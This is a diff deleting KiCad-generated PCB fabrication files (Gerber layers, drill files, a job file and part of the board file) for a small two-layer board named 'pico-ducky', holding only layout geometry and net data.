X112950000Y-96385000D01*
|
||||
X105200000Y-98000000D02*
|
||||
X111335000Y-98000000D01*
|
||||
%TO.N,Net-(J1-Pad20)*%
|
||||
X105200000Y-100540000D02*
|
||||
X112025000Y-100540000D01*
|
||||
X112025000Y-100540000D02*
|
||||
X112950000Y-101465000D01*
|
||||
%TO.N,Net-(J1-Pad8)*%
|
||||
X105400000Y-75800000D02*
|
||||
X108135000Y-75800000D01*
|
||||
X108135000Y-75800000D02*
|
||||
X112950000Y-70985000D01*
|
||||
%TO.N,Net-(J1-Pad13)*%
|
||||
X107065001Y-77800001D02*
|
||||
X112950000Y-83685000D01*
|
||||
X105400000Y-77800001D02*
|
||||
X107065001Y-77800001D01*
|
||||
%TO.N,Net-(J1-Pad1)*%
|
||||
X106695000Y-53205000D02*
|
||||
X105700000Y-54200000D01*
|
||||
X112950000Y-53205000D02*
|
||||
X106695000Y-53205000D01*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -1,110 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:33-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Soldermask,Top*%
|
||||
%TF.FilePolarity,Negative*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:33*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,1.320800*%
|
||||
%ADD11C,1.752600*%
|
||||
%ADD12R,1.700000X1.700000*%
|
||||
%ADD13O,1.700000X1.700000*%
|
||||
%ADD14R,1.308000X1.308000*%
|
||||
%ADD15C,1.308000*%
|
||||
%ADD16C,3.200000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,SW3*%
|
||||
X105400000Y-71800000D03*
|
||||
X105400000Y-73800001D03*
|
||||
X105400000Y-75800000D03*
|
||||
X105400000Y-77800001D03*
|
||||
X105400000Y-79799999D03*
|
||||
X105400000Y-81800000D03*
|
||||
D11*
|
||||
X105400000Y-69700000D03*
|
||||
X105400000Y-83900000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,J2*%
|
||||
X131000000Y-53400000D03*
|
||||
D13*
|
||||
X131000000Y-55940000D03*
|
||||
X131000000Y-58480000D03*
|
||||
X131000000Y-61020000D03*
|
||||
X131000000Y-63560000D03*
|
||||
X131000000Y-66100000D03*
|
||||
X131000000Y-68640000D03*
|
||||
X131000000Y-71180000D03*
|
||||
X131000000Y-73720000D03*
|
||||
X131000000Y-76260000D03*
|
||||
X131000000Y-78800000D03*
|
||||
X131000000Y-81340000D03*
|
||||
X131000000Y-83880000D03*
|
||||
X131000000Y-86420000D03*
|
||||
X131000000Y-88960000D03*
|
||||
X131000000Y-91500000D03*
|
||||
X131000000Y-94040000D03*
|
||||
X131000000Y-96580000D03*
|
||||
X131000000Y-99120000D03*
|
||||
X131000000Y-101660000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,S1*%
|
||||
X105200000Y-98000000D03*
|
||||
D15*
|
||||
X105200000Y-95460000D03*
|
||||
X105200000Y-100540000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X105500000Y-46600000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,J1*%
|
||||
X112950000Y-53205000D03*
|
||||
D13*
|
||||
X112950000Y-55745000D03*
|
||||
X112950000Y-58285000D03*
|
||||
X112950000Y-60825000D03*
|
||||
X112950000Y-63365000D03*
|
||||
X112950000Y-65905000D03*
|
||||
X112950000Y-68445000D03*
|
||||
X112950000Y-70985000D03*
|
||||
X112950000Y-73525000D03*
|
||||
X112950000Y-76065000D03*
|
||||
X112950000Y-78605000D03*
|
||||
X112950000Y-81145000D03*
|
||||
X112950000Y-83685000D03*
|
||||
X112950000Y-86225000D03*
|
||||
X112950000Y-88765000D03*
|
||||
X112950000Y-91305000D03*
|
||||
X112950000Y-93845000D03*
|
||||
X112950000Y-96385000D03*
|
||||
X112950000Y-98925000D03*
|
||||
X112950000Y-101465000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,S2*%
|
||||
X105700000Y-56740000D03*
|
||||
D15*
|
||||
X105700000Y-54200000D03*
|
||||
X105700000Y-59280000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X135400000Y-46700000D03*
|
||||
%TD*%
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X135500000Y-107300000D03*
|
||||
%TD*%
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X105800000Y-107400000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -1,15 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:31-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Paste,Top*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:31*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
G04 APERTURE END LIST*
|
||||
M02*
|
||||
@@ -1,188 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:32-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Legend,Top*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:32*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,0.150000*%
|
||||
%ADD11C,0.120000*%
|
||||
%ADD12C,0.127000*%
|
||||
%ADD13C,0.200000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,J2*%
|
||||
X130666666Y-50082380D02*
|
||||
X130666666Y-50796666D01*
|
||||
X130619047Y-50939523D01*
|
||||
X130523809Y-51034761D01*
|
||||
X130380952Y-51082380D01*
|
||||
X130285714Y-51082380D01*
|
||||
X131095238Y-50177619D02*
|
||||
X131142857Y-50130000D01*
|
||||
X131238095Y-50082380D01*
|
||||
X131476190Y-50082380D01*
|
||||
X131571428Y-50130000D01*
|
||||
X131619047Y-50177619D01*
|
||||
X131666666Y-50272857D01*
|
||||
X131666666Y-50368095D01*
|
||||
X131619047Y-50510952D01*
|
||||
X131047619Y-51082380D01*
|
||||
X131666666Y-51082380D01*
|
||||
%TO.C,S1*%
|
||||
X108239761Y-96936904D02*
|
||||
X108287380Y-96794047D01*
|
||||
X108287380Y-96555952D01*
|
||||
X108239761Y-96460714D01*
|
||||
X108192142Y-96413095D01*
|
||||
X108096904Y-96365476D01*
|
||||
X108001666Y-96365476D01*
|
||||
X107906428Y-96413095D01*
|
||||
X107858809Y-96460714D01*
|
||||
X107811190Y-96555952D01*
|
||||
X107763571Y-96746428D01*
|
||||
X107715952Y-96841666D01*
|
||||
X107668333Y-96889285D01*
|
||||
X107573095Y-96936904D01*
|
||||
X107477857Y-96936904D01*
|
||||
X107382619Y-96889285D01*
|
||||
X107335000Y-96841666D01*
|
||||
X107287380Y-96746428D01*
|
||||
X107287380Y-96508333D01*
|
||||
X107335000Y-96365476D01*
|
||||
X108287380Y-95413095D02*
|
||||
X108287380Y-95984523D01*
|
||||
X108287380Y-95698809D02*
|
||||
X107287380Y-95698809D01*
|
||||
X107430238Y-95794047D01*
|
||||
X107525476Y-95889285D01*
|
||||
X107573095Y-95984523D01*
|
||||
%TO.C,J1*%
|
||||
X112616666Y-49887380D02*
|
||||
X112616666Y-50601666D01*
|
||||
X112569047Y-50744523D01*
|
||||
X112473809Y-50839761D01*
|
||||
X112330952Y-50887380D01*
|
||||
X112235714Y-50887380D01*
|
||||
X113616666Y-50887380D02*
|
||||
X113045238Y-50887380D01*
|
||||
X113330952Y-50887380D02*
|
||||
X113330952Y-49887380D01*
|
||||
X113235714Y-50030238D01*
|
||||
X113140476Y-50125476D01*
|
||||
X113045238Y-50173095D01*
|
||||
%TO.C,S2*%
|
||||
X108739761Y-55676904D02*
|
||||
X108787380Y-55534047D01*
|
||||
X108787380Y-55295952D01*
|
||||
X108739761Y-55200714D01*
|
||||
X108692142Y-55153095D01*
|
||||
X108596904Y-55105476D01*
|
||||
X108501666Y-55105476D01*
|
||||
X108406428Y-55153095D01*
|
||||
X108358809Y-55200714D01*
|
||||
X108311190Y-55295952D01*
|
||||
X108263571Y-55486428D01*
|
||||
X108215952Y-55581666D01*
|
||||
X108168333Y-55629285D01*
|
||||
X108073095Y-55676904D01*
|
||||
X107977857Y-55676904D01*
|
||||
X107882619Y-55629285D01*
|
||||
X107835000Y-55581666D01*
|
||||
X107787380Y-55486428D01*
|
||||
X107787380Y-55248333D01*
|
||||
X107835000Y-55105476D01*
|
||||
X107882619Y-54724523D02*
|
||||
X107835000Y-54676904D01*
|
||||
X107787380Y-54581666D01*
|
||||
X107787380Y-54343571D01*
|
||||
X107835000Y-54248333D01*
|
||||
X107882619Y-54200714D01*
|
||||
X107977857Y-54153095D01*
|
||||
X108073095Y-54153095D01*
|
||||
X108215952Y-54200714D01*
|
||||
X108787380Y-54772142D01*
|
||||
X108787380Y-54153095D01*
|
||||
D11*
|
||||
%TO.C,SW3*%
|
||||
X103126700Y-84229500D02*
|
||||
X103126700Y-78933600D01*
|
||||
X106563274Y-69370500D02*
|
||||
X107673300Y-69370500D01*
|
||||
X103126700Y-76673000D02*
|
||||
X103126700Y-69370500D01*
|
||||
X107673300Y-84229500D02*
|
||||
X106563274Y-84229500D01*
|
||||
X107673300Y-69370500D02*
|
||||
X107673300Y-84229500D01*
|
||||
X103126700Y-69370500D02*
|
||||
X104236726Y-69370500D01*
|
||||
X104236726Y-84229500D02*
|
||||
X103126700Y-84229500D01*
|
||||
%TO.C,J2*%
|
||||
X132330000Y-54670000D02*
|
||||
X132330000Y-102990000D01*
|
||||
X129670000Y-102990000D02*
|
||||
X132330000Y-102990000D01*
|
||||
X129670000Y-54670000D02*
|
||||
X132330000Y-54670000D01*
|
||||
X132330000Y-52070000D02*
|
||||
X132330000Y-53400000D01*
|
||||
X129670000Y-54670000D02*
|
||||
X129670000Y-102990000D01*
|
||||
X131000000Y-52070000D02*
|
||||
X132330000Y-52070000D01*
|
||||
D12*
|
||||
%TO.C,S1*%
|
||||
X106450000Y-103000000D02*
|
||||
X106450000Y-93000000D01*
|
||||
X103950000Y-93000000D02*
|
||||
X103950000Y-103000000D01*
|
||||
X103950000Y-103000000D02*
|
||||
X106450000Y-103000000D01*
|
||||
X106450000Y-93000000D02*
|
||||
X103950000Y-93000000D01*
|
||||
D13*
|
||||
X103450000Y-98000000D02*
|
||||
G75*
|
||||
G03*
|
||||
X103450000Y-98000000I-100000J0D01*
|
||||
G01*
|
||||
D11*
|
||||
%TO.C,J1*%
|
||||
X111620000Y-102795000D02*
|
||||
X114280000Y-102795000D01*
|
||||
X111620000Y-54475000D02*
|
||||
X114280000Y-54475000D01*
|
||||
X114280000Y-51875000D02*
|
||||
X114280000Y-53205000D01*
|
||||
X112950000Y-51875000D02*
|
||||
X114280000Y-51875000D01*
|
||||
X111620000Y-54475000D02*
|
||||
X111620000Y-102795000D01*
|
||||
X114280000Y-54475000D02*
|
||||
X114280000Y-102795000D01*
|
||||
D12*
|
||||
%TO.C,S2*%
|
||||
X104450000Y-61740000D02*
|
||||
X106950000Y-61740000D01*
|
||||
X104450000Y-51740000D02*
|
||||
X104450000Y-61740000D01*
|
||||
X106950000Y-61740000D02*
|
||||
X106950000Y-51740000D01*
|
||||
X106950000Y-51740000D02*
|
||||
X104450000Y-51740000D01*
|
||||
D13*
|
||||
X103950000Y-56740000D02*
|
||||
G75*
|
||||
G03*
|
||||
X103950000Y-56740000I-100000J0D01*
|
||||
G01*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -1,20 +0,0 @@
|
||||
M48
|
||||
; DRILL file {KiCad 6.0.1-79c1e3a40b~116~ubuntu20.04.1} date Thu 10 Feb 2022 07:45:38 AM CST
|
||||
; FORMAT={-:-/ absolute / inch / decimal}
|
||||
; #@! TF.CreationDate,2022-02-10T07:45:38-06:00
|
||||
; #@! TF.GenerationSoftware,Kicad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1
|
||||
; #@! TF.FileFunction,NonPlated,1,2,NPTH
|
||||
FMAT,2
|
||||
INCH
|
||||
; #@! TA.AperFunction,NonPlated,NPTH,ComponentDrill
|
||||
T1C0.1260
|
||||
%
|
||||
G90
|
||||
G05
|
||||
T1
|
||||
X4.1535Y-1.8346
|
||||
X4.1654Y-4.2283
|
||||
X5.3307Y-1.8386
|
||||
X5.3346Y-4.2244
|
||||
T0
|
||||
M30
|
||||
@@ -1,79 +0,0 @@
|
||||
M48
|
||||
; DRILL file {KiCad 6.0.1-79c1e3a40b~116~ubuntu20.04.1} date Thu 10 Feb 2022 07:45:38 AM CST
|
||||
; FORMAT={-:-/ absolute / inch / decimal}
|
||||
; #@! TF.CreationDate,2022-02-10T07:45:38-06:00
|
||||
; #@! TF.GenerationSoftware,Kicad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1
|
||||
; #@! TF.FileFunction,Plated,1,2,PTH
|
||||
FMAT,2
|
||||
INCH
|
||||
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
|
||||
T1C0.0315
|
||||
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
|
||||
T2C0.0320
|
||||
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
|
||||
T3C0.0394
|
||||
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
|
||||
T4C0.0490
|
||||
%
|
||||
G90
|
||||
G05
|
||||
T1
|
||||
X4.1417Y-3.7583
|
||||
X4.1417Y-3.8583
|
||||
X4.1417Y-3.9583
|
||||
X4.1614Y-2.1339
|
||||
X4.1614Y-2.2339
|
||||
X4.1614Y-2.3339
|
||||
T2
|
||||
X4.1496Y-2.8268
|
||||
X4.1496Y-2.9055
|
||||
X4.1496Y-2.9843
|
||||
X4.1496Y-3.063
|
||||
X4.1496Y-3.1417
|
||||
X4.1496Y-3.2205
|
||||
T3
|
||||
X4.4469Y-2.0947
|
||||
X4.4469Y-2.1947
|
||||
X4.4469Y-2.2947
|
||||
X4.4469Y-2.3947
|
||||
X4.4469Y-2.4947
|
||||
X4.4469Y-2.5947
|
||||
X4.4469Y-2.6947
|
||||
X4.4469Y-2.7947
|
||||
X4.4469Y-2.8947
|
||||
X4.4469Y-2.9947
|
||||
X4.4469Y-3.0947
|
||||
X4.4469Y-3.1947
|
||||
X4.4469Y-3.2947
|
||||
X4.4469Y-3.3947
|
||||
X4.4469Y-3.4947
|
||||
X4.4469Y-3.5947
|
||||
X4.4469Y-3.6947
|
||||
X4.4469Y-3.7947
|
||||
X4.4469Y-3.8947
|
||||
X4.4469Y-3.9947
|
||||
X5.1575Y-2.1024
|
||||
X5.1575Y-2.2024
|
||||
X5.1575Y-2.3024
|
||||
X5.1575Y-2.4024
|
||||
X5.1575Y-2.5024
|
||||
X5.1575Y-2.6024
|
||||
X5.1575Y-2.7024
|
||||
X5.1575Y-2.8024
|
||||
X5.1575Y-2.9024
|
||||
X5.1575Y-3.0024
|
||||
X5.1575Y-3.1024
|
||||
X5.1575Y-3.2024
|
||||
X5.1575Y-3.3024
|
||||
X5.1575Y-3.4024
|
||||
X5.1575Y-3.5024
|
||||
X5.1575Y-3.6024
|
||||
X5.1575Y-3.7024
|
||||
X5.1575Y-3.8024
|
||||
X5.1575Y-3.9024
|
||||
X5.1575Y-4.0024
|
||||
T4
|
||||
X4.1496Y-2.7441
|
||||
X4.1496Y-3.3031
|
||||
T0
|
||||
M30
|
||||
@@ -1,125 +0,0 @@
|
||||
{
|
||||
"Header": {
|
||||
"GenerationSoftware": {
|
||||
"Vendor": "KiCad",
|
||||
"Application": "Pcbnew",
|
||||
"Version": "6.0.1-79c1e3a40b~116~ubuntu20.04.1"
|
||||
},
|
||||
"CreationDate": "2022-02-10T07:45:34-06:00"
|
||||
},
|
||||
"GeneralSpecs": {
|
||||
"ProjectId": {
|
||||
"Name": "pico-ducky",
|
||||
"GUID": "7069636f-2d64-4756-936b-792e6b696361",
|
||||
"Revision": "rev?"
|
||||
},
|
||||
"Size": {
|
||||
"X": 37.01,
|
||||
"Y": 68.12
|
||||
},
|
||||
"LayerNumber": 2,
|
||||
"BoardThickness": 1.6,
|
||||
"Finish": "None"
|
||||
},
|
||||
"DesignRules": [
|
||||
{
|
||||
"Layers": "Outer",
|
||||
"PadToPad": 0.0,
|
||||
"PadToTrack": 0.0,
|
||||
"TrackToTrack": 0.2,
|
||||
"MinLineWidth": 0.25
|
||||
}
|
||||
],
|
||||
"FilesAttributes": [
|
||||
{
|
||||
"Path": "pico-ducky-F_Cu.gbr",
|
||||
"FileFunction": "Copper,L1,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-B_Cu.gbr",
|
||||
"FileFunction": "Copper,L2,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-F_Paste.gbr",
|
||||
"FileFunction": "SolderPaste,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-B_Paste.gbr",
|
||||
"FileFunction": "SolderPaste,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-F_Silkscreen.gbr",
|
||||
"FileFunction": "Legend,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-B_Silkscreen.gbr",
|
||||
"FileFunction": "Legend,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-F_Mask.gbr",
|
||||
"FileFunction": "SolderMask,Top",
|
||||
"FilePolarity": "Negative"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-B_Mask.gbr",
|
||||
"FileFunction": "SolderMask,Bot",
|
||||
"FilePolarity": "Negative"
|
||||
},
|
||||
{
|
||||
"Path": "pico-ducky-Edge_Cuts.gbr",
|
||||
"FileFunction": "Profile",
|
||||
"FilePolarity": "Positive"
|
||||
}
|
||||
],
|
||||
"MaterialStackup": [
|
||||
{
|
||||
"Type": "Legend",
|
||||
"Name": "Top Silk Screen"
|
||||
},
|
||||
{
|
||||
"Type": "SolderPaste",
|
||||
"Name": "Top Solder Paste"
|
||||
},
|
||||
{
|
||||
"Type": "SolderMask",
|
||||
"Thickness": 0.01,
|
||||
"Name": "Top Solder Mask"
|
||||
},
|
||||
{
|
||||
"Type": "Copper",
|
||||
"Thickness": 0.035,
|
||||
"Name": "F.Cu"
|
||||
},
|
||||
{
|
||||
"Type": "Dielectric",
|
||||
"Thickness": 1.51,
|
||||
"Material": "FR4",
|
||||
"Name": "F.Cu/B.Cu",
|
||||
"Notes": "Type: dielectric layer 1 (from F.Cu to B.Cu)"
|
||||
},
|
||||
{
|
||||
"Type": "Copper",
|
||||
"Thickness": 0.035,
|
||||
"Name": "B.Cu"
|
||||
},
|
||||
{
|
||||
"Type": "SolderMask",
|
||||
"Thickness": 0.01,
|
||||
"Name": "Bottom Solder Mask"
|
||||
},
|
||||
{
|
||||
"Type": "SolderPaste",
|
||||
"Name": "Bottom Solder Paste"
|
||||
},
|
||||
{
|
||||
"Type": "Legend",
|
||||
"Name": "Bottom Silk Screen"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,578 +0,0 @@
|
||||
(kicad_pcb (version 20211014) (generator pcbnew)
|
||||
|
||||
(general
|
||||
(thickness 1.6)
|
||||
)
|
||||
|
||||
(paper "A4")
|
||||
(layers
|
||||
(0 "F.Cu" signal)
|
||||
(31 "B.Cu" signal)
|
||||
(32 "B.Adhes" user "B.Adhesive")
|
||||
(33 "F.Adhes" user "F.Adhesive")
|
||||
(34 "B.Paste" user)
|
||||
(35 "F.Paste" user)
|
||||
(36 "B.SilkS" user "B.Silkscreen")
|
||||
(37 "F.SilkS" user "F.Silkscreen")
|
||||
(38 "B.Mask" user)
|
||||
(39 "F.Mask" user)
|
||||
(40 "Dwgs.User" user "User.Drawings")
|
||||
(41 "Cmts.User" user "User.Comments")
|
||||
(42 "Eco1.User" user "User.Eco1")
|
||||
(43 "Eco2.User" user "User.Eco2")
|
||||
(44 "Edge.Cuts" user)
|
||||
(45 "Margin" user)
|
||||
(46 "B.CrtYd" user "B.Courtyard")
|
||||
(47 "F.CrtYd" user "F.Courtyard")
|
||||
(48 "B.Fab" user)
|
||||
(49 "F.Fab" user)
|
||||
(50 "User.1" user)
|
||||
(51 "User.2" user)
|
||||
(52 "User.3" user)
|
||||
(53 "User.4" user)
|
||||
(54 "User.5" user)
|
||||
(55 "User.6" user)
|
||||
(56 "User.7" user)
|
||||
(57 "User.8" user)
|
||||
(58 "User.9" user)
|
||||
)
|
||||
|
||||
(setup
|
||||
(stackup
|
||||
(layer "F.SilkS" (type "Top Silk Screen"))
|
||||
(layer "F.Paste" (type "Top Solder Paste"))
|
||||
(layer "F.Mask" (type "Top Solder Mask") (thickness 0.01))
|
||||
(layer "F.Cu" (type "copper") (thickness 0.035))
|
||||
(layer "dielectric 1" (type "core") (thickness 1.51) (material "FR4") (epsilon_r 4.5) (loss_tangent 0.02))
|
||||
(layer "B.Cu" (type "copper") (thickness 0.035))
|
||||
(layer "B.Mask" (type "Bottom Solder Mask") (thickness 0.01))
|
||||
(layer "B.Paste" (type "Bottom Solder Paste"))
|
||||
(layer "B.SilkS" (type "Bottom Silk Screen"))
|
||||
(copper_finish "None")
|
||||
(dielectric_constraints no)
|
||||
)
|
||||
(pad_to_mask_clearance 0)
|
||||
(pcbplotparams
|
||||
(layerselection 0x00010fc_ffffffff)
|
||||
(disableapertmacros false)
|
||||
(usegerberextensions false)
|
||||
(usegerberattributes true)
|
||||
(usegerberadvancedattributes true)
|
||||
(creategerberjobfile true)
|
||||
(svguseinch false)
|
||||
(svgprecision 6)
|
||||
(excludeedgelayer true)
|
||||
(plotframeref false)
|
||||
(viasonmask false)
|
||||
(mode 1)
|
||||
(useauxorigin false)
|
||||
(hpglpennumber 1)
|
||||
(hpglpenspeed 20)
|
||||
(hpglpendiameter 15.000000)
|
||||
(dxfpolygonmode true)
|
||||
(dxfimperialunits true)
|
||||
(dxfusepcbnewfont true)
|
||||
(psnegative false)
|
||||
(psa4output false)
|
||||
(plotreference true)
|
||||
(plotvalue true)
|
||||
(plotinvisibletext false)
|
||||
(sketchpadsonfab false)
|
||||
(subtractmaskfromsilk false)
|
||||
(outputformat 1)
|
||||
(mirror false)
|
||||
(drillshape 0)
|
||||
(scaleselection 1)
|
||||
(outputdirectory "cad/")
|
||||
)
|
||||
)
|
||||
|
||||
(net 0 "")
|
||||
(net 1 "unconnected-(J1-Pad2)")
|
||||
(net 2 "unconnected-(J1-Pad4)")
|
||||
(net 3 "unconnected-(J1-Pad5)")
|
||||
(net 4 "unconnected-(J1-Pad9)")
|
||||
(net 5 "unconnected-(J1-Pad10)")
|
||||
(net 6 "unconnected-(J1-Pad11)")
|
||||
(net 7 "unconnected-(J1-Pad12)")
|
||||
(net 8 "unconnected-(J1-Pad16)")
|
||||
(net 9 "unconnected-(J1-Pad17)")
|
||||
(net 10 "unconnected-(J1-Pad19)")
|
||||
(net 11 "unconnected-(J2-Pad1)")
|
||||
(net 12 "unconnected-(J2-Pad2)")
|
||||
(net 13 "unconnected-(J2-Pad3)")
|
||||
(net 14 "unconnected-(J2-Pad4)")
|
||||
(net 15 "unconnected-(J2-Pad5)")
|
||||
(net 16 "unconnected-(J2-Pad6)")
|
||||
(net 17 "unconnected-(J2-Pad7)")
|
||||
(net 18 "unconnected-(J2-Pad8)")
|
||||
(net 19 "unconnected-(J2-Pad9)")
|
||||
(net 20 "unconnected-(J2-Pad10)")
|
||||
(net 21 "unconnected-(J2-Pad11)")
|
||||
(net 22 "unconnected-(J2-Pad12)")
|
||||
(net 23 "unconnected-(J2-Pad13)")
|
||||
(net 24 "unconnected-(J2-Pad14)")
|
||||
(net 25 "unconnected-(J2-Pad15)")
|
||||
(net 26 "unconnected-(J2-Pad16)")
|
||||
(net 27 "unconnected-(J2-Pad17)")
|
||||
(net 28 "unconnected-(J2-Pad18)")
|
||||
(net 29 "unconnected-(J2-Pad19)")
|
||||
(net 30 "unconnected-(J2-Pad20)")
|
||||
(net 31 "Net-(J1-Pad3)")
|
||||
(net 32 "Net-(J1-Pad6)")
|
||||
(net 33 "Net-(J1-Pad7)")
|
||||
(net 34 "Net-(J1-Pad14)")
|
||||
(net 35 "Net-(J1-Pad15)")
|
||||
(net 36 "Net-(J1-Pad18)")
|
||||
(net 37 "Net-(J1-Pad20)")
|
||||
(net 38 "Net-(J1-Pad8)")
|
||||
(net 39 "Net-(J1-Pad13)")
|
||||
(net 40 "Net-(J1-Pad1)")
|
||||
(net 41 "unconnected-(S1-Pad2)")
|
||||
(net 42 "unconnected-(S2-Pad3)")
|
||||
|
||||
(footprint "Connector_PinSocket_2.54mm:PinSocket_1x20_P2.54mm_Vertical" (layer "F.Cu")
|
||||
(tedit 5A19A41E) (tstamp 31e895e5-7b36-4827-b794-b5b947f2801b)
|
||||
(at 131 53.4)
|
||||
(descr "Through hole straight socket strip, 1x20, 2.54mm pitch, single row (from Kicad 4.0.7), script generated")
|
||||
(tags "Through hole socket strip THT 1x20 2.54mm single row")
|
||||
(property "Sheetfile" "pico-ducky.kicad_sch")
|
||||
(property "Sheetname" "")
|
||||
(path "/60ef5d45-ab54-4614-8417-f29731f193e9")
|
||||
(attr through_hole)
|
||||
(fp_text reference "J2" (at 0 -2.77) (layer "F.SilkS")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 13666891-0874-46d5-8b1f-5f8a3d2e3667)
|
||||
)
|
||||
(fp_text value "Conn_01x20_Female" (at 0 51.03) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 826e5a92-f4a7-481c-a810-e691fb4242fa)
|
||||
)
|
||||
(fp_text user "${REFERENCE}" (at 0 24.13 90) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp faaede8c-2aeb-4f9f-951c-9e98aefd8353)
|
||||
)
|
||||
(fp_line (start 1.33 1.27) (end 1.33 49.59) (layer "F.SilkS") (width 0.12) (tstamp 73d985f0-c578-40ca-ab9b-537d56fc30c2))
|
||||
(fp_line (start -1.33 49.59) (end 1.33 49.59) (layer "F.SilkS") (width 0.12) (tstamp 8edc9dab-270b-46ce-86c7-43d2ea9d2561))
|
||||
(fp_line (start -1.33 1.27) (end 1.33 1.27) (layer "F.SilkS") (width 0.12) (tstamp 906e14b4-a894-4fb8-92ce-dc27c4d28378))
|
||||
(fp_line (start 1.33 -1.33) (end 1.33 0) (layer "F.SilkS") (width 0.12) (tstamp a9c07e71-f8a5-403b-8e00-562e3cd133e0))
|
||||
(fp_line (start -1.33 1.27) (end -1.33 49.59) (layer "F.SilkS") (width 0.12) (tstamp ac998646-16d3-4146-971c-4cb50e1f3fdb))
|
||||
(fp_line (start 0 -1.33) (end 1.33 -1.33) (layer "F.SilkS") (width 0.12) (tstamp b55ffde1-3db6-44e1-8a25-d5de2cc37fea))
|
||||
(fp_line (start 1.75 50) (end -1.8 50) (layer "F.CrtYd") (width 0.05) (tstamp 2622f595-7ff0-453e-9b78-19125b1110e8))
|
||||
(fp_line (start -1.8 -1.8) (end 1.75 -1.8) (layer "F.CrtYd") (width 0.05) (tstamp 7bb67499-9a91-41e1-afe8-7eef34869d71))
|
||||
(fp_line (start -1.8 50) (end -1.8 -1.8) (layer "F.CrtYd") (width 0.05) (tstamp 7bfd21eb-4ee9-42ce-8900-a93d825953d0))
|
||||
(fp_line (start 1.75 -1.8) (end 1.75 50) (layer "F.CrtYd") (width 0.05) (tstamp 900716a9-2103-4663-a7b4-094a39ecb871))
|
||||
(fp_line (start 1.27 49.53) (end -1.27 49.53) (layer "F.Fab") (width 0.1) (tstamp 071715f0-4a79-4e1a-8718-9cffdd92cf95))
|
||||
(fp_line (start 1.27 -0.635) (end 1.27 49.53) (layer "F.Fab") (width 0.1) (tstamp 18f447e2-259c-4c3c-b887-9d9c6df88167))
|
||||
(fp_line (start -1.27 49.53) (end -1.27 -1.27) (layer "F.Fab") (width 0.1) (tstamp 2e306457-a203-45bd-8828-39a6fc7884b5))
|
||||
